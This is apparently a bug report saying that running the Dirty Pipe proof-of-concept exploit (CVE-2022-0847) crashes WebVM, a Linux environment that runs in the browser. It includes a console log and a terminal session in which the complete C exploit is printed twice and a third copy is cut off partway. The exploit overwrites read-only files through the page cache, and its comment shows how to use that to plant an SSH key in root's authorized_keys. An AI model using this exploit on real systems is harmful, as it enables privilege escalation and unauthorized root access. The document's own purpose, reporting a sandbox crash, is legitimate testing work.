https://dirtypipe.cm4all.com/ exploit crashes webvm
Author: hello-smile6Created Aug 5, 2022Updated Aug 5, 2022
Console log:
Welcome. We appreciate curiosity, but be warned that keeping the DevTools open causes significant performance degradation and crashes.
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 103ms
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 108ms
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
9The resource <URL> was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally.
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
3cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 81ms
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cx.js:1 [Violation] 'load' handler took 202ms
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 Fault addr 0, ip 5555c092, tid 31
cxcore.js:1 Fault from Inode 23521
xterm.js:1 [Violation] 'blur' handler took 333msTerminal output:
__ __ _ __ ____ __
\ \ / /__| |_\ \ / / \/ |
\ \/\/ / -_) '_ \ V /| |\/| |
\_/\_/\___|_.__/\_/ |_| |_|
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| |
| WebVM is a server-less virtual Linux environment running fully client-side |
| in HTML5/WebAssembly. |
| |
| In this demo, it runs an unmodified Debian distribution including many |
| native development toolchains. |
| |
| WebVM is powered by the CheerpX virtualization engine, and enables safe, |
| sandboxed client-side execution of x86 binaries on any browser. |
| |
| CheerpX includes an x86-to-WebAssembly JIT compiler, a virtual block-based |
| file system, and a Linux syscall emulator. |
| |
| For more information: https://medium.com/p/40a60170b361 |
| |
| GitHub | Issues | Gitter | Twitter | Latest News | About CheerpX |
| |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Welcome to WebVM (build 20220726). If unsure, try these examples:
python3 examples/python3/fibonacci.py
gcc -o helloworld examples/c/helloworld.c && ./helloworld
objdump -d ./helloworld | less -M
vim examples/c/helloworld.c
user@:~$ ls
examples test.c
user@:~$ cat test.c
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
d
user@:~$ cat test.c | wc --help
Usage: wc [OPTION]... [FILE]...
or: wc [OPTION]... --files0-from=F
Print newline, word, and byte counts for each FILE, and a total line if
more than one FILE is specified. A word is a non-zero-length sequence of
characters delimited by white space.
With no FILE, or when FILE is -, read standard input.
The options below may be used to select which counts are printed, always in
the following order: newline, word, character, byte, maximum line length.
-c, --bytes print the byte counts
-m, --chars print the character counts
-l, --lines print the newline counts
--files0-from=F read input from the files specified by
NUL-terminated names in file F;
If F is - then read names from standard input
-L, --max-line-length print the maximum display width
-w, --words print the word counts
--help display this help and exit
--version output version information and exit
GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report wc translation bugs to <https://translationproject.org/team/>
Full documentation at: <https://www.gnu.org/software/coreutils/wc>
or available locally via: info '(coreutils) wc invocation'
user@:~$ cat test.c | wc --lines
157
user@:~$ cat test.c | head -n 156
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
user@:~$ cat test.c | head -n 156 > test2.c
user@:~$ cat test2.c
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_sizeSource: leaningtech/webvm